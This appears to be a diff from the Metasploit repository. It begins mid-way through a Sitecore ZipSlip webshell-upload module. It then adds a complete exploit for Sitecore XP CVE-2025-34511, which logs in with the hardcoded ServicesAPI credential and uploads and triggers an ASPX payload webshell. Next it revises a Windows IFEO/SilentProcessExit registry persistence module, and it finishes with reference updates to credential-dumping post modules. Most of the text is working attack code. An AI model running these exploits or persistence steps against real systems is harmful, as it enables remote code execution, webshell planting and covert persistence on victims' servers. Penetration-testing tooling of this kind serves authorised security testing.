'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '0',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
new_file_input => '',
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'UnzipCheck' => '1',
'ffSubmitForm' => ''
})
return false unless res&.code == 200
res = upload_step({
'__PARAMETERS' => 'StartUploading',
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__SOURCE' => '',
'__EVENTTYPE' => '',
'__CONTEXTMENU' => '',
'__MODIFIED' => '',
'__ISEVENT' => '1',
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
'__VIEWSTATE' => view_state['value'],
'Language' => hidden_inputs.dig(0, 'Language'),
'Item' => hidden_inputs.dig(0, 'Item'),
'Path' => hidden_inputs.dig(0, 'Path'),
'Unzip' => '1',
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
new_file_input => '',
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
'UnzipCheck' => '1',
'ffSubmitForm' => ''
})
return false unless res&.code == 200
zip = Rex::Zip::Archive.new
@webshell_file = "#{Rex::Text.rand_text_alpha(15)}.aspx"
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_aspx(exe)
zip.add_file('//\/../' + @webshell_file, asp)
zip_data = zip.pack
vars_form_data = [
{ 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
{ 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
{ 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
{ 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
{ 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
{ 'name' => 'Unzip', 'data' => '1' },
{ 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
{ 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
{ 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
]
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
'vars_get' => { 'hdl' => 'sc_ct_trk' },
'vars_form_data' => vars_form_data
})
return false unless res&.code == 200 && res.body.include?('Done')
true
end
def trigger_payload
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@webshell_file)
})
end
def exploit
if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
end
if !@is_elevated && !get_identity_cookies
fail_with(Failure::Unknown, 'Failed to get elevated cookies')
end
fail_with(Failure::PayloadFailed, 'Failed to upload malicious ZIP') unless upload_zipslip
trigger_payload
end
end
@@ -0,0 +1,132 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::SitecoreXp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sitecore XP CVE-2025-34511 Post-Authentication File Upload',
'Description' => %q{
This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
},
'License' => MSF_LICENSE,
'Author' => [
'Piotr Bazydlo', # Discovery
'msutovsky-r7' # Module Creator
],
'References' => [
[ 'CVE', '2025-34511' ],
['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DisclosureDate' => '2025-06-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
])
end
def check
return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
@is_logged = true
return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
@is_elevated = true
sitecore_version = get_version
res = send_request_cgi({
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
'method' => 'GET',
'vars_get' => { 'hdl' => '1245516121' }
})
return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200
return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
end
def upload_webshell
@webshell = "#{Rex::Text.rand_text_alpha(15)}.aspx"
@item_uri = Rex::Text.rand_text_alpha(8)
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_aspx(exe)
data_post = Rex::MIME::Message.new
data_post.add_part(@item_uri, nil, nil, %(form-data; name="ItemUri"))
data_post.add_part('en', nil, nil, %(form-data; name="LanguageName"))
data_post.add_part('0', nil, nil, %(form-data; name="Overwrite"))
data_post.add_part('0', nil, nil, %(form-data; name="Unpack"))
data_post.add_part('en', nil, nil, %(form-data; name="Versioned"))
data_post.add_part(asp, 'text/plain', nil, %(form-data; name="#{@item_uri}"; filename="#{@webshell}"))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'),
'vars_get' => { 'hdl' => '1245516121' },
'data' => data_post.to_s,
'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
})
return false unless res&.code == 200
true
end
def trigger_webshell
send_request_cgi({
'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', @item_uri, @webshell),
'method' => 'GET'
})
end
def exploit
if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
end
if !@is_elevated && !get_identity_cookies
fail_with(Failure::Unknown, 'Failed to get elevated cookies')
end
fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless upload_webshell
trigger_webshell
end
end
@@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/persistence_image_exec_options'
def initialize(info = {})
super(
@@ -33,13 +37,11 @@ class MetasploitModule < Msf::Exploit::Local
],
'DefaultTarget' => 0,
'DisclosureDate' => '2008-06-28',
'Privileged' => true,
'References' => [
['URL', 'https://attack.mitre.org/techniques/T1183/'],
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@@ -48,21 +50,36 @@ class MetasploitModule < Msf::Exploit::Local
}
},
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
])
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe('You must be System to run this Module') unless is_system?
CheckCode::Appears('Likely exploitable')
end
def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
write_file(dest_pathname, payload_exe)
@@ -71,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Local
def validate_active_host
unless is_system?
fail_with(Failure::NoAccess, "You must be System to run this Module")
fail_with(Failure::NoAccess, 'You must be System to run this Module')
end
begin
@@ -85,18 +102,18 @@ class MetasploitModule < Msf::Exploit::Local
def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: "GlobalFlag",
type: "REG_DWORD",
value_name: 'GlobalFlag',
type: 'REG_DWORD',
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "ReportingMode",
type: "REG_DWORD",
value_name: 'ReportingMode',
type: 'REG_DWORD',
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "MonitorProcess",
type: "REG_SZ",
value_name: 'MonitorProcess',
type: 'REG_SZ',
value_value: payload_pathname)
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
@@ -109,13 +126,17 @@ class MetasploitModule < Msf::Exploit::Local
end
end
def exploit
def install_persistence
validate_active_host
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
image_file = datastore['IMAGE_FILE']
payload_pathname = temp_path + "\\" + payload_name + '.exe'
payload_pathname = temp_path + '\\' + payload_name + '.exe'
vprint_status("Payload pathname = #{payload_pathname}")
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
@clean_up_rc << "rm #{payload_pathname}\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
end
end
+4 -1
View File
@@ -21,7 +21,10 @@ class MetasploitModule < Msf::Post
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
},
'References' => [
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
]
)
)
end
+1
View File
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Post
'References' => [
['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],
['URL', 'https://hashcat.net/forum/thread-2202.html'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
+4 -1
View File
@@ -22,7 +22,10 @@ class MetasploitModule < Msf::Post
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
},
'References' => [
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
]
)
)
end

Some files were not shown because too many files have changed in this diff Show More